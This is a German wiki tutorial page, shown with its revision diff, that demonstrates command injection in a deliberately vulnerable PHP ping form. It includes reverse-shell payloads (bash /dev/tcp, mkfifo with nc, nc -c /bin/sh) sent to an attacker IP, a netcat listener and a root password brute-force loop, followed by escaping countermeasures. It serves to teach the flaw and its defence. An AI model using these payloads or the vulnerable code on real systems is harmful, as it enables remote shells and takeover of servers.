Command Injection Proof of Concept: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
 
(7 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt)
Zeile 1: Zeile 1:
 +
*[[php installation]]
 
=PHP Code=
 
=PHP Code=
 
*Bei dieser Anwendung wird die Eingabe nicht verifiziert.  
 
*Bei dieser Anwendung wird die Eingabe nicht verifiziert.  
 
*Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 
*Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
 
*Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
<syntaxhighlight lang="html">
+
*'''vim ''/var/www/html/ping.php'' '''
<!DOCTYPE html>
+
<syntaxhighlight lang="html">
<html>
+
<!DOCTYPE html>
        <body>
+
<html>
                <h2>PING</h2>
+
<body>
                <form method="post">
+
<h2>PING</h2>
                  <label for="fname">IP</label><br>
+
<form method="post">
                  <input type="text" name="ip"><br>
+
<label for="fname">IP</label><br>
                  <input type="submit" name="submit" value="submit">
+
<input type="text" name="ip"><br>
                </form>
+
<input type="submit" name="submit" value="submit">
                <br>
+
</form>
<?php
+
<br>
  if(isset($_POST['submit'])){
+
<?php
    $ip = $_POST['ip'];
+
if(isset($_POST['submit'])){
    $cmd = 'ping -c 4 ' . $ip;
+
$ip = $_POST['ip'];
    $output = shell_exec($cmd);
+
$cmd = 'ping -c 4 ' . $ip;
    echo "<pre> $output</pre>";
+
$output = shell_exec($cmd);
  }
+
echo "<pre> $output</pre>";
?>
+
}
        </body>
+
?>
</html>
+
</body>
 
+
</html>
 
</syntaxhighlight>
 
</syntaxhighlight>
  
=Angreifer=
 
*netcat -lp 8668
 
 
=Schadcode einbringen=
 
=Schadcode einbringen=
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 8668 1>/tmp/backpipe
+
* Auf der Angreifermaschine:
 
+
* '''nc -lp ''port'' '''
 +
*verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
 +
* '''1.1.1.1 ; bash -c "bash -i >& /dev/tcp/''i.p.des.hackers''/''port'' 0>&1"'''
 +
*1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 ''port'' 1>/tmp/backpipe
 
*1.1.1.1 ;  nc.traditional -c /bin/sh 10.0.10.101 8668
 
*1.1.1.1 ;  nc.traditional -c /bin/sh 10.0.10.101 8668
  
 +
[[Datei:Command-injetion1.png]]
  
[[Datei:Command-injetion1.png]]
+
= Brute Force Passwort von ''root'' =
 +
* '''for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done'''
  
 
=Auf dem Angreifer=
 
=Auf dem Angreifer=

Aktuelle Version vom 18. September 2024, 20:37 Uhr

PHP Code

  • Bei dieser Anwendung wird die Eingabe nicht verifiziert.
  • Man kann hinter die IP Adresse mit einem Semikolon weitere Kommandos anhängen.
  • Diese Kommandos werden dann mit den Rechten des Webservers ausgeführt.
  • vim /var/www/html/ping.php
<!DOCTYPE html>
<html>
<body>
<h2>PING</h2>
<form method="post">
<label for="fname">IP</label><br>
<input type="text" name="ip"><br>
<input type="submit" name="submit" value="submit">
</form>
<br>
<?php
if(isset($_POST['submit'])){
	$ip = $_POST['ip'];
	$cmd = 'ping -c 4 ' . $ip;
	$output = shell_exec($cmd);
	echo "<pre> $output</pre>";
}
?>
</body>
</html>

Schadcode einbringen

  • Auf der Angreifermaschine:
  • nc -lp port
  • verschiedene Möglichkeiten in der Webanwendung den Exploit auszunutzen:
  • 1.1.1.1 ; bash -c "bash -i >& /dev/tcp/i.p.des.hackers/port 0>&1"
  • 1.1.1.1 ; mkfifo /tmp/backpipe ; /bin/sh 0</tmp/backpipe | nc 10.0.10.101 port 1>/tmp/backpipe
  • 1.1.1.1 ; nc.traditional -c /bin/sh 10.0.10.101 8668

Command-injetion1.png

Brute Force Passwort von root

  • for i in "hallo" "welt" "123Start$" "falschespw" ; do echo $i | timeout 0.7 su root -c whoami 2> /dev/null && echo $i ; done

Auf dem Angreifer

Command-injetion2.png

Gegenmaßnahmen

  • Niemals Daten von außen ungeprüft in Anwendungen verwenden.
  • Verwendung von entsprechenden Funktionen der benutzten Programmiersprache / Scriptsprache.
  • PHP-Funktion escapeshellarg() zur Maskierung einer Zeichenkette zur weiteren Verwendung als Shell-Argument:
$cmd = 'ping -c 4 ' . escapeshellarg($ip);
  • Generiertes Kommando bei Verwendung von escapeshellarg() - führt bei der Ausführung zu einem Fehler:
ping -c 4 '1.1.1.1;  ls'
  • PHP-Funktion escapeshellcmd() zur Maskierung von Shell-Metazeichen innerhalb eines Kommandostrings
$output = shell_exec(escapeshellcmd($cmd));
  • Generiertes Kommando bei Verwendung von escapeshellcmd() - führt bei der Ausführung zu einem Fehler:
ping -c 4 1.1.1.1\;  ls
  • Alternativ bzw. zusätzlich eigene entsprechende Prüffunktionen und/oder Escapefunktionen entwickeln.